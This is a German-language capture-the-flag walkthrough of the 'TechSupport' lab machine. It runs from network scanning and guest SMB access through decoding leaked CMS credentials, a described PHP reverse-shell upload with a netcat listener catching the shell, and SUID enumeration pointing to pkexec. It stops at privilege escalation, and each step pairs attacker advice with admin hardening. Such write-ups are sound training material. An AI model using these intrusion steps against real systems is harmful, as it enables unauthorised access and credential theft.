192.168.2.139 08:00:27:21:12:98 PCS Systemtechnik GmbH
Analyse: Der Befehl `arp-scan -l` wird eingesetzt, um aktive Geräte im lokalen Netzwerksegment mittels ARP-Anfragen zu identifizieren. Er listet die IP- und MAC-Adressen der antwortenden Systeme auf.
Bewertung: Es wurde ein Host mit der IP 192.168.2.139 entdeckt. Die MAC-Adresse (08:00:27:...) und die Herstellerkennung "PCS Systemtechnik GmbH" weisen klar auf eine VirtualBox-Umgebung hin. Dies ist das Zielsystem für die weiteren Scans.
Empfehlung (Pentester): Die identifizierte IP 192.168.2.139 bildet die Grundlage für detailliertere Nmap-Scans.
Empfehlung (Admin): Netzwerksicherheitsmaßnahmen wie die Erkennung von ARP-Spoofing und die Segmentierung des Netzwerks können die Effektivität solcher Scans reduzieren.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-11 23:21 CEST Nmap scan report for TechSupport (192.168.2.139) Host is up (0.00014s latency). Not shown: 65531 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 108af572d7f97e14a5c54f9e978b3d58 (RSA) | 256 7f10f557413c71dbb55bdb75c976305c (ECDSA) |_ 256 6b4c23506f36007ca67c1173c1a8600c (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-title: Apache2 Ubuntu Default Page: It works |_http-server-header: Apache/2.4.18 (Ubuntu) 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP) MAC Address: 08:00:27:21:12:98 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Host script results: | smb2-security-mode: | 311: |_ Message signing enabled but not required | smb2-time: | date: 2023-09-11T21:21:16 |_ start_date: N/A | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb-os-discovery: | OS: Windows 6.1 (Samba 4.3.11-Ubuntu) | Computer name: techsupport | NetBIOS computer name: TECHSUPPORT\x00 | Domain name: \x00 | FQDN: techsupport |_ System time: 2023-09-12T02:51:17+05:30 |_clock-skew: mean: -1h49m58s, deviation: 3h10m30s, median: 0s TRACEROUTE HOP RTT ADDRESS 1 0.14 ms TechSupport (192.168.2.139)
Analyse: Dieser Nmap-Befehl führt einen umfassenden Scan auf dem Ziel 192.168.2.139 durch. * `-sS`: TCP SYN Scan. * `-sC`: Standard NSE-Skripte. * `-sV`: Versionserkennung. * `-T5`: Sehr schnelles Timing. * `-AO`: Betriebssystemerkennung. Das `-A` steht für aggressiven Scan (OS, Version, Skripte, Traceroute), das `O` ist redundant, da es Teil von `-A` ist. * `-p-`: Scannt alle 65535 TCP-Ports.
Bewertung: Der Scan identifiziert vier offene TCP-Ports: * **Port 22 (SSH):** OpenSSH 7.2p2 auf Ubuntu. Relativ moderne Version. * **Port 80 (HTTP):** Apache 2.4.18 auf Ubuntu. Zeigt die Standard-Apache-Seite. * **Port 139 (NetBIOS-SSN):** Samba Dienst. * **Port 445 (Microsoft-DS):** Samba Dienst (Version 4.3.11-Ubuntu). Die NSE-Skripte liefern wichtige Informationen zu Samba: Die Sicherheitsmodi (`smb-security-mode`, `smb2-security-mode`) deuten darauf hin, dass **Gastzugriff (`account_used: guest`) erlaubt** ist und Message Signing nicht erzwungen wird. Der NetBIOS-Name ist `TECHSUPPORT`. Die OS-Erkennung schätzt ein Linux-System.
Empfehlung (Pentester): Die offenen Ports (SSH, HTTP, SMB) stellen die Angriffsvektoren dar. Der erlaubte Gastzugriff auf Samba (Ports 139/445) ist ein primäres Ziel für die weitere Enumeration. Untersuchen Sie die SMB-Shares mit Tools wie `smbclient` oder `enum4linux` unter Verwendung des Gast-/Null-Sitzungszugriffs. Enumerieren Sie auch den Webserver auf Port 80.
Empfehlung (Admin): Deaktivieren Sie Gast-/Null-Sitzungszugriff auf SMB/Samba, wenn er nicht betrieblich notwendig ist. Erzwingen Sie Message Signing (`message_signing: required`), um Man-in-the-Middle-Angriffe zu verhindern. Halten Sie Samba, Apache und SSH auf dem neuesten Stand.
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
Analyse: Wiederholt den vorherigen Nmap-Scan, filtert die Ausgabe jedoch mit `grep open`, um nur die Zeilen mit offenen Ports anzuzeigen.
Bewertung: Dies ist eine schnelle Zusammenfassung der offenen Ports: 22 (SSH), 80 (HTTP), 139 (NetBIOS), 445 (SMB). Bestätigt die Ergebnisse des vorherigen Scans.
Empfehlung (Pentester): Nützlich für einen schnellen Überblick, aber die detaillierte Ausgabe des vorherigen Scans (insbesondere die Skript-Ergebnisse für SMB) ist für die weitere Planung entscheidend.
Empfehlung (Admin): Die Empfehlungen aus dem vorherigen Nmap-Scan bleiben gültig.
# Folgender Eintrag wird zur lokalen /etc/hosts Datei hinzugefügt: 192.168.2.139 techsupp.vln
Analyse: Öffnet die lokale Hosts-Datei mit `vi`. Ein Eintrag wird hinzugefügt, um die IP 192.168.2.139 dem Hostnamen `techsupp.vln` zuzuordnen.
Bewertung: Ermöglicht die Verwendung des Hostnamens `techsupp.vln` für die weitere Interaktion mit dem Ziel, insbesondere für den Webserver auf Port 80.
Empfehlung (Pentester): Gute Praxis, um die Befehlseingabe und Übersicht zu vereinfachen.
Empfehlung (Admin): Keine direkte Auswirkung auf die Sicherheit des Ziels.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.139 + Target Hostname: 192.168.2.139 + Target Port: 80 + Start Time: 2023-09-11 23:22:28 (GMT2) --------------------------------------------------------------------------- + Server: Apache/2.4.18 (Ubuntu) + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + No CGI Directories found (use '-C all' to force check all possible dirs) + Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch. + /: Server may leak inodes via ETags, header found with file /, inode: 2c39, size: 5c367f4428b1f, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418 + OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS . + /phpinfo.php: Output from the phpinfo() function was found. + /test/: This might be interesting. + /phpinfo.php: PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of system information. See: CWE-552 + /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/ + /wordpress/wp-content/plugins/akismet/readme.txt: The WordPress Akismet plugin 'Tested up to' version usually matches the WordPress version. + /wordpress/wp-links-opml.php: This WordPress script reveals the installed version. + /wordpress/wp-admin/: Uncommon header 'x-redirect-by' found, with contents: WordPress. + /wordpress/: Drupal Link header found with value: ; rel="https://api.w.org/". See: https://www.drupal.org/ (False Positive likely, it's WordPress) + /wordpress/: A Wordpress installation was found. + /wordpress/wp-login.php?action=register: Cookie wordpress_test_cookie created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies + /wordpress/wp-content/uploads/: Directory indexing found. + /wordpress/wp-content/uploads/: Wordpress uploads directory is browsable. This may reveal sensitive information. + /wordpress/wp-login.php: Wordpress login found. + 8102 requests: 0 error(s) and 18 item(s) reported on remote host + End Time: 2023-09-11 23:22:45 (GMT2) (17 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: `nikto -h 192.168.2.139` scannt den Webserver auf Port 80 nach bekannten Schwachstellen, Konfigurationsfehlern und interessanten Dateien.
Bewertung: Nikto liefert zahlreiche interessante Ergebnisse: * **Veralteter Apache (2.4.18):** Bestätigt Nmap-Ergebnis. * **Fehlende Security Header:** X-Frame-Options, X-Content-Type-Options. * **Keine CGI-Verzeichnisse gefunden.** * **`phpinfo.php` gefunden:** Dies ist ein signifikanter Fund, da `phpinfo()` detaillierte Informationen über die PHP-Konfiguration, Server-Umgebungsvariablen und geladene Module preisgibt. * **`/test/` Verzeichnis:** Als potenziell interessant markiert. * **WordPress-Installation:** Unter `/wordpress/` entdeckt. Nikto findet das Login (`wp-login.php`), erkennt die Version über `wp-links-opml.php`, findet ein Akismet-Plugin-Readme und identifiziert den `/wp-content/uploads/` Ordner als per Directory Indexing browsbar. * **Standarddateien:** `/icons/README`.
Empfehlung (Pentester): Untersuchen Sie `phpinfo.php` gründlich auf sensible Informationen (Pfade, Konfigurationen, Datenbank-Credentials?). Enumerieren Sie das `/test/`-Verzeichnis. Konzentrieren Sie sich auf die WordPress-Installation: Suchen Sie nach bekannten Schwachstellen für die erkannte Version (falls möglich), enumerieren Sie Benutzer (Nikto fand Hinweise auf `support`), prüfen Sie den Uploads-Ordner auf interessante Dateien und versuchen Sie ggf. ein Passwort-Bruteforce gegen `wp-login.php`.
Empfehlung (Admin): Entfernen Sie `phpinfo.php` vom Server. Aktualisieren Sie Apache. Fügen Sie fehlende Security Header hinzu. Halten Sie WordPress, Themes und Plugins immer aktuell. Deaktivieren Sie Directory Indexing. Schützen Sie das WordPress-Login (starke Passwörter, Limit Login Attempts, 2FA).
=============================================================== http://techsupp.vln/index.html (Status: 200) [Size: 11321] http://techsupp.vln/wordpress (Status: 301) [Size: 316] [--> http://techsupp.vln/wordpress/] http://techsupp.vln/test (Status: 301) [Size: 311] [--> http://techsupp.vln/test/] http://techsupp.vln/phpinfo.php (Status: 200) [Size: 95033] ===============================================================
Analyse: `gobuster` wird verwendet, um Verzeichnisse und Dateien auf dem Webserver `http://techsupp.vln` zu bruteforcen. Es verwendet eine Medium-Wortliste und sucht nach einer Vielzahl von Dateiendungen.
Bewertung: Gobuster bestätigt die von Nikto gefundenen Hauptverzeichnisse und Dateien: `/index.html`, `/wordpress/` (leitet weiter), `/test/` (leitet weiter) und `/phpinfo.php`. Es deckt keine signifikanten neuen Pfade auf, die nicht bereits durch Nikto oder Dirb (siehe nächster Schritt) identifiziert wurden.
Empfehlung (Pentester): Bestätigt die Angriffsfläche. Fokus sollte auf den Inhalten von `/wordpress`, `/test` und `phpinfo.php` liegen.
Empfehlung (Admin): Maßnahmen wie WAFs oder Rate Limiting können solche Scans erschweren. Unnötige Dateien und Verzeichnisse sollten entfernt werden.
----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Mon Sep 11 23:25:12 2023 URL_BASE: http://techsupp.vln/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://techsupp.vln/ ---- + http://techsupp.vln/index.html (CODE:200|SIZE:11321) + http://techsupp.vln/phpinfo.php (CODE:200|SIZE:95027) + http://techsupp.vln/server-status (CODE:403|SIZE:277) ==> DIRECTORY: http://techsupp.vln/test/ ==> DIRECTORY: http://techsupp.vln/wordpress/ ---- Entering directory: http://techsupp.vln/test/ ---- + http://techsupp.vln/test/index.html (CODE:200|SIZE:20677) ---- Entering directory: http://techsupp.vln/wordpress/ ---- + http://techsupp.vln/wordpress/index.php (CODE:200|SIZE:33441) ==> DIRECTORY: http://techsupp.vln/wordpress/wp-admin/ ==> DIRECTORY: http://techsupp.vln/wordpress/wp-content/ ==> DIRECTORY: http://techsupp.vln/wordpress/wp-includes/ + http://techsupp.vln/wordpress/xmlrpc.php (CODE:405|SIZE:42) ---- Entering directory: http://techsupp.vln/wordpress/wp-admin/ ---- + http://techsupp.vln/wordpress/wp-admin/admin.php (CODE:302|SIZE:0) ==> DIRECTORY: http://techsupp.vln/wordpress/wp-admin/css/ ==> DIRECTORY: http://techsupp.vln/wordpress/wp-admin/images/ ==> DIRECTORY: http://techsupp.vln/wordpress/wp-admin/includes/ + http://techsupp.vln/wordpress/wp-admin/index.php (CODE:302|SIZE:0) ==> DIRECTORY: http://techsupp.vln/wordpress/wp-admin/js/ ==> DIRECTORY: http://techsupp.vln/wordpress/wp-admin/maint/ ==> DIRECTORY: http://techsupp.vln/wordpress/wp-admin/network/ ==> DIRECTORY: http://techsupp.vln/wordpress/wp-admin/user/ ---- Entering directory: http://techsupp.vln/wordpress/wp-content/ ---- + http://techsupp.vln/wordpress/wp-content/index.php (CODE:200|SIZE:0) ==> DIRECTORY: http://techsupp.vln/wordpress/wp-content/plugins/ ==> DIRECTORY: http://techsupp.vln/wordpress/wp-content/themes/ ==> DIRECTORY: http://techsupp.vln/wordpress/wp-content/upgrade/ ==> DIRECTORY: http://techsupp.vln/wordpress/wp-content/uploads/ ---- Entering directory: http://techsupp.vln/wordpress/wp-admin/network/ ---- + http://techsupp.vln/wordpress/wp-admin/network/admin.php (CODE:302|SIZE:0) + http://techsupp.vln/wordpress/wp-admin/network/index.php (CODE:302|SIZE:0) ---- Entering directory: http://techsupp.vln/wordpress/wp-admin/user/ ---- + http://techsupp.vln/wordpress/wp-admin/user/admin.php (CODE:302|SIZE:0) + http://techsupp.vln/wordpress/wp-admin/user/index.php (CODE:302|SIZE:0) ---- Entering directory: http://techsupp.vln/wordpress/wp-content/plugins/ ---- + http://techsupp.vln/wordpress/wp-content/plugins/index.php (CODE:200|SIZE:0) ==> DIRECTORY: http://techsupp.vln/wordpress/wp-content/plugins/redirection/ ---- Entering directory: http://techsupp.vln/wordpress/wp-content/themes/ ---- + http://techsupp.vln/wordpress/wp-content/themes/index.php (CODE:200|SIZE:0) ---- Entering directory: http://techsupp.vln/wordpress/wp-content/upgrade/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ---- Entering directory: http://techsupp.vln/wordpress/wp-content/uploads/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ---- Entering directory: http://techsupp.vln/wordpress/wp-content/plugins/redirection/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ----------------- END_TIME: Mon Sep 11 23:25:54 2023 DOWNLOADED: 41508 - FOUND: 15
Analyse: `dirb` wird verwendet, um Verzeichnisse auf `http://techsupp.vln` mit einer Standard-Wortliste zu scannen. Es scannt rekursiv gefundene Verzeichnisse.
Bewertung: Dirb liefert eine detailliertere Auflistung der WordPress-Verzeichnisstruktur als Gobuster oder Nikto. Wichtige Erkenntnisse: * Bestätigt `/test/` und `/wordpress/`. * Findet `/server-status` (Zugriff verboten - 403). * Identifiziert die Haupt-WordPress-Verzeichnisse (`wp-admin`, `wp-content`, `wp-includes`). * Listet explizit die browsbaren (listbaren) Verzeichnisse auf: `/wordpress/wp-content/upgrade/`, `/wordpress/wp-content/uploads/` und `/wordpress/wp-content/plugins/redirection/`. Browsbare Verzeichnisse können sensible Informationen oder hochgeladene Dateien preisgeben.
Empfehlung (Pentester): Untersuchen Sie die browsbaren Verzeichnisse manuell im Browser. Achten Sie besonders auf `/uploads/` für potenziell interessante Dateien. Analysieren Sie das `redirection`-Plugin auf bekannte Schwachstellen.
Empfehlung (Admin): Deaktivieren Sie Directory Indexing global oder zumindest für sensible Verzeichnisse wie `wp-content`, `uploads`, `plugins`, `themes`. Konfigurieren Sie den Webserver so, dass der Zugriff auf `/server-status` eingeschränkt ist (z.B. nur von bestimmten IPs).
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Mon Sep 11 23:26:40 2023 =========================================( Target Information )========================================= [...] ===========================( Share Enumeration on 192.168.2.139 )=========================== Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers websvr Disk IPC$ IPC IPC Service (TechSupport server (Samba, Ubuntu)) Server Comment --------- ------- TECHSUPPORT TechSupport server (Samba, Ubuntu) Workgroup Master --------- ------- WORKGROUP TECHSUPPORT [+] Attempting to map shares on 192.168.2.139 //192.168.2.139/print$ Mapping: DENIED Listing: N/A Writing: N/A //192.168.2.139/websvr Mapping: OK Listing: OK Writing: N/A [...] [+] Enumerating users using SID S-1-22-1 and logon username '', password '' S-1-22-1-1000 Unix User\scamsite (Local User) [...] enum4linux complete on Mon Sep 11 23:27:10 2023
Analyse: `enum4linux -a 192.168.2.139` ist ein umfassendes Enumerationstool für SMB/CIFS-Dienste. Der Schalter `-a` führt alle grundlegenden Enumerationsschritte durch (Benutzer, Shares, Gruppen, Drucker, OS-Info, Passwortrichtlinie) unter Verwendung einer Null-Sitzung (anonymer Zugriff).
Bewertung: Enum4linux bestätigt viele der Nmap-Ergebnisse und fügt Details hinzu: * **Shares:** Findet `print$` (Zugriff verweigert), `websvr` (Zugriff und Auflistung OK!) und `IPC$`. Der `websvr`-Share ist der wichtigste Fund hier. * **Benutzer:** Identifiziert über SID-Enumeration den lokalen Unix-Benutzer `scamsite` (UID 1000). * **Passwortrichtlinie:** Liefert Details zur Passwortrichtlinie (Minimallänge 5, Max. Alter ~37 Tage, keine Komplexität erzwungen). * **Workgroup/Server Name:** Bestätigt `WORKGROUP` und `TECHSUPPORT`.
Empfehlung (Pentester): Verbinden Sie sich mit dem Share `websvr` über `smbclient` unter Verwendung einer Null-Sitzung/Gastzugriff. Untersuchen Sie den Inhalt dieses Shares gründlich. Notieren Sie den Benutzernamen `scamsite` für mögliche spätere Angriffe (z.B. Passwort-Bruteforce gegen SSH).
Empfehlung (Admin): Deaktivieren Sie Null-Sitzungen und anonymen Zugriff auf Shares. Beschränken Sie den Zugriff auf Shares auf autorisierte Benutzer und Gruppen. Setzen Sie starke Passwortrichtlinien durch (Länge, Komplexität, Historie, Ablauf).
Password for [WORKGROUP\root]: # (Passwort wird leer gelassen für Null-Sitzung)
Password for [WORKGROUP\root]: # (Passwort wird leer gelassen für Null-Sitzung)
Try "help" to get a list of possible commands.
. D 0 Sat May 29 09:17:38 2021 .. D 0 Sat May 29 09:03:47 2021 enter.txt N 273 Sat May 29 09:17:38 2021 8460484 blocks of size 1024. 5318196 blocks available
getting file \enter.txt of size 273 as enter.txt (266,6 KiloBytes/sec) (average 266,6 KiloBytes/sec)
NT_STATUS_ACCESS_DENIED opening remote file \revshell.php
. D 0 Sat May 29 09:17:38 2021 .. D 0 Sat May 29 09:03:47 2021 enter.txt N 273 Sat May 29 09:17:38 2021 8460484 blocks of size 1024. 5165476 blocks available
Analyse: Der `smbclient` wird verwendet, um auf den zuvor identifizierten Share `websvr` zuzugreifen. * Der erste gezeigte Befehl mit `-L` ist syntaktisch falsch für die Interaktion mit einem Share, scheint aber im Log zu sein. Der wahrscheinlichere Befehl zum Verbinden ist `smbclient //192.168.2.139/websvr`. * Die Verbindung wird mit einer Null-Sitzung hergestellt (kein Passwort eingegeben). * `ls`: Listet den Inhalt des Shares auf und findet die Datei `enter.txt`. * `get enter.txt`: Lädt die Datei erfolgreich herunter. * `put revshell.php`: Der Versuch, eine Datei hochzuladen, schlägt fehl (`NT_STATUS_ACCESS_DENIED`).
Bewertung: Der Zugriff auf den Share `websvr` war erfolgreich und die Datei `enter.txt` konnte heruntergeladen werden. Es besteht jedoch kein Schreibzugriff auf den Share, was einen direkten Upload einer Webshell o.ä. verhindert. Der Inhalt von `enter.txt` ist nun der nächste wichtige Anhaltspunkt.
Empfehlung (Pentester): Analysieren Sie den Inhalt der heruntergeladenen Datei `enter.txt`.
Empfehlung (Admin): Gewähren Sie nur die minimal notwendigen Berechtigungen für SMB-Shares. Wenn nur Lesezugriff benötigt wird, konfigurieren Sie ihn entsprechend. Überwachen Sie Zugriffe auf Shares.
GOALS
=====
1)Make fake popup and host it online on Digital Ocean server
2)Fix subrion site, /subrion doesn't work, edit from panel
3)Edit wordpress website
IMP
===
Subrion creds
|->admin:7sKvntXdPEJaxazce9PXi24zaFrLiKWCk [cooked with magical formula]
Wordpress creds
|->
Analyse: Zeigt den Inhalt der Datei `enter.txt`, die vom SMB-Share heruntergeladen wurde.
Bewertung: Die Datei enthält eine To-Do-Liste und Zugangsdaten. Am wichtigsten sind die "Subrion creds": Benutzer `admin` mit dem Passwort `7sKvntXdPEJaxazce9PXi24zaFrLiKWCk`, das als "gekocht mit magischer Formel" beschrieben wird. Dies deutet auf eine Art von Kodierung oder Verschlüsselung hin. Die WordPress-Zugangsdaten sind leer. Ein Hinweis auf `/subrion` auf dem Webserver ist ebenfalls enthalten.
Empfehlung (Pentester): Versuchen Sie, das Subrion-Passwort zu dekodieren. Recherchieren Sie gängige Kodierungen (Base64, Base32, Base58 etc.) oder suchen Sie nach Hinweisen auf die "magische Formel" (vielleicht in anderen gefundenen Dateien oder im Webseiten-Quellcode). Das Ziel ist es, sich am Subrion CMS unter `/subrion/panel/` anzumelden.
Empfehlung (Admin): Speichern Sie niemals Zugangsdaten, auch nicht kodierte, in Klartextdateien auf Netzwerkfreigaben. Schulen Sie Mitarbeiter im sicheren Umgang mit sensiblen Informationen.
Die weiteren Schritte konzentrieren sich auf das Dekodieren des Subrion-Passworts und den Login in das Subrion CMS, um Initial Access zu erlangen.
Recherche und Analyse (z.B. mit CyberChef, wie im Log angedeutet) der "magischen Formel" für das Passwort `7sKvntXdPEJaxazce9PXi24zaFrLiKWCk` ergibt, dass es sich um eine mehrstufige Dekodierung handelt (Base58 -> Base32 -> Base64).
# Manuelle Überprüfung des Subrion Logins unter http://techsupp.vln/subrion/panel/ # Benutzer: admin # Passwort: Scam2021 # Ergebnis: Login erfolgreich!
Analyse: Das Subrion-Passwort aus `enter.txt` wird mittels einer Kette von Dekodierungsalgorithmen (Base58, dann Base32, dann Base64) entschlüsselt. Das Ergebnis ist `Scam2021`.
Bewertung: Das Passwort wurde erfolgreich dekodiert. Mit den Zugangsdaten `admin`:`Scam2021` kann man sich nun am Subrion CMS unter `/subrion/panel/` anmelden.
Empfehlung (Pentester): Loggen Sie sich in das Subrion CMS ein. Suchen Sie nach Funktionalitäten zum Hochladen von Dateien, Bearbeiten von Code/Templates oder Ausführen von Befehlen, um eine Webshell zu erhalten.
Empfehlung (Admin): Vermeiden Sie obskure Kodierungen als Sicherheitsmaßnahme. Verwenden Sie stattdessen starke, einzigartige Passwörter und sichere Speichermethoden.
Innerhalb des Subrion CMS (Version 4.2.1) wird eine bekannte Schwachstelle oder eine Fehlkonfiguration im Dateimanager ausgenutzt, um eine PHP-Reverse-Shell hochzuladen (möglicherweise als `.phar`-Datei getarnt und dann über eine Funktion wie "Get Info" oder eine direkte URL getriggert).
listening on [any] 9001 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.139] 55812 Linux TechSupport 4.4.0-186-generic #216-Ubuntu SMP Wed Jul 1 05:34:05 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux 03:51:45 up 1:01, 0 users, load average: 0.00, 0.03, 1.37 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $
Analyse: Auf der Angreifer-Maschine wird ein Netcat-Listener auf Port 9001 gestartet (`nc -lvnp 9001`). Kurz darauf wird eine Verbindung vom Zielsystem (192.168.2.139) aufgebaut. Es wird eine Shell geöffnet.
Bewertung: Der Upload und die Ausführung der Reverse-Shell über das Subrion CMS waren erfolgreich. Der Angreifer hat nun Shell-Zugriff auf das Zielsystem als Benutzer `www-data`, dem Benutzer, unter dem der Webserver (Apache) und das CMS laufen. Der Initial Access ist gelungen.
Empfehlung (Pentester): Stabilisieren Sie die Shell (z.B. `python -c 'import pty; pty.spawn("/bin/bash")'` oder `script /dev/null -c bash`). Beginnen Sie mit der Post-Exploitation-Enumeration, um Wege zur Privilegieneskalation zu finden.
Empfehlung (Admin): Aktualisieren Sie das Subrion CMS dringend auf eine gepatchte Version oder entfernen Sie es, falls nicht benötigt. Implementieren Sie eine Web Application Firewall (WAF) und sichern Sie Dateiupload-Funktionen rigoros ab (Typ-Validierung, Berechtigungen, Speicherort).
Nach Erlangung der Shell als `www-data` beginnt die Suche nach Wegen, um Root-Rechte zu erlangen.
[sudo] password for www-data: # (Passwort unbekannt/nicht vorhanden)
Analyse: Der Befehl `sudo -l` wird versucht, um die sudo-Berechtigungen für `www-data` zu prüfen.
Bewertung: Der Befehl fragt nach einem Passwort für `www-data`. Da dieses Passwort nicht bekannt ist (und der Benutzer normalerweise kein Login-Passwort hat), kann `sudo -l` nicht ausgeführt werden. Dieser Vektor zur Privilegieneskalation ist vorerst blockiert.
Empfehlung (Pentester): Suchen Sie nach anderen Eskalationsvektoren: SUID-Binaries, Kernel-Exploits, Cron-Jobs, Fehlkonfigurationen, Passwörter in Konfigurationsdateien.
Empfehlung (Admin): Konfigurieren Sie sudoers sorgfältig. `www-data` sollte normalerweise keine sudo-Rechte benötigen.
-rw-r--r-- 1 root root 1628 May 28 2021 /etc/passwd
Analyse: Überprüft die Berechtigungen der `/etc/passwd`-Datei.
Bewertung: Die Datei ist wie erwartet für alle lesbar. Dies allein bietet keinen Eskalationspfad.
Empfehlung (Pentester): Lesen Sie `/etc/passwd`, um eine Liste der lokalen Benutzer zu erhalten.
Empfehlung (Admin): Standardberechtigungen für `/etc/passwd` sind in der Regel sicher.
define( 'DB_NAME', 'wpdb' );
define( 'DB_USER', 'support' );
define( 'DB_PASSWORD', 'ImAScammerLOL!123!' );
Analyse: Der Befehl `head -n 30 wp-config.php` zeigt die ersten 30 Zeilen der WordPress-Konfigurationsdatei an, die sich im Web-Root befindet (der Pfad `/var/www/html/wordpress` wird angenommen).
Bewertung: **Kritischer Fund!** Die Datei `wp-config.php` ist für den `www-data`-Benutzer lesbar und enthält die Zugangsdaten für die WordPress-Datenbank im Klartext: Datenbank `wpdb`, Benutzer `support`, Passwort `ImAScammerLOL!123!`. Dies ist eine häufige Fehlkonfiguration.
Empfehlung (Pentester): Versuchen Sie, sich mit diesen Zugangsdaten am lokalen MySQL/MariaDB-Server anzumelden. Untersuchen Sie die WordPress-Datenbank auf weitere Benutzer oder sensible Informationen. Testen Sie, ob dieses Passwort auch für den Systembenutzer `support` (falls vorhanden) oder `scamsite` (der in enum4linux gefunden wurde) oder sogar `root` via SSH oder `su` funktioniert (Passwortwiederverwendung).
Empfehlung (Admin): Sichern Sie die `wp-config.php`-Datei, indem Sie die Dateiberechtigungen so restriktiv wie möglich setzen (nur lesbar für den Webserver-Benutzer und den Administrator, nicht für andere). Verwenden Sie separate, starke und einzigartige Passwörter für Datenbankbenutzer.
391018 28 -rwsr-xr-x 1 root root 27608 Jan 27 2020 /bin/umount 390985 44 -rwsr-xr-x 1 root root 44680 May 8 2014 /bin/ping6 391001 40 -rwsr-xr-x 1 root root 40128 Mar 27 2019 /bin/su 400429 32 -rwsr-xr-x 1 root root 30800 Jul 12 2016 /bin/fusermount 390974 40 -rwsr-xr-x 1 root root 40152 Jan 27 2020 /bin/mount 390984 44 -rwsr-xr-x 1 root root 44168 May 8 2014 /bin/ping 18782 36 -rwsr-xr-x 1 root root 32944 Mar 27 2019 /usr/bin/newuidmap 146 72 -rwsr-xr-x 1 root root 71824 Mar 27 2019 /usr/bin/chfn 148 40 -rwsr-xr-x 1 root root 40432 Mar 27 2019 /usr/bin/chsh 273 56 -rwsr-xr-x 1 root root 54256 Mar 27 2019 /usr/bin/passwd 263 40 -rwsr-xr-x 1 root root 39904 Mar 27 2019 /usr/bin/newgrp 20210 52 -rwsr-sr-x 1 daemon daemon 51464 Jan 15 2016 /usr/bin/at 353 136 -rwsr-xr-x 1 root root 136808 Feb 1 2020 /usr/bin/sudo 20741 24 -rwsr-xr-x 1 root root 23376 Mar 27 2019 /usr/bin/pkexec 204 76 -rwsr-xr-x 1 root root 75304 Mar 27 2019 /usr/bin/gpasswd 18781 36 -rwsr-xr-x 1 root root 32944 Mar 27 2019 /usr/bin/newgidmap 20737 16 -rwsr-xr-x 1 root root 14864 Mar 27 2019 /usr/lib/policykit-1/polkit-agent-helper-1 450 12 -rwsr-xr-x 1 root root 10232 Mar 27 2017 /usr/lib/eject/dmcrypt-get-device 19972 420 -rwsr-xr-x 1 root root 428240 May 27 2020 /usr/lib/openssh/ssh-keysign 270516 44 -rwsr-xr-- 1 root messagebus 42992 Jun 12 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper 18763 84 -rwsr-xr-x 1 root root 84120 Apr 10 2019 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic 20990 112 -rwsr-xr-x 1 root root 110792 Jul 11 2020 /usr/lib/snapd/snap-confine 20387 36 -rwsr-xr-x 1 root root 35600 Mar 6 2017 /sbin/mount.cifs
Analyse: Der Befehl `find / -type f -perm -4000 -ls 2>/dev/null` (die Umleitung ist im Log abgeschnitten) sucht nach Dateien mit gesetztem SUID-Bit, die potenziell zur Privilegieneskalation missbraucht werden können.
Bewertung: Die Liste enthält viele Standard-SUID-Binaries. Auffällig und relevant für moderne Eskalationen sind insbesondere: * `/usr/bin/sudo`: Könnte anfällig sein, aber `sudo -l` scheiterte an der Passwortabfrage. * `/usr/bin/pkexec`: Das Binary, das durch die PwnKit-Schwachstelle (CVE-2021-4034) anfällig ist. Die Anwesenheit dieses Binaries ist ein starker Indikator für einen möglichen Eskalationspfad. * `/usr/lib/snapd/snap-confine`: Kann unter bestimmten Umständen ebenfalls für LPE missbraucht werden.
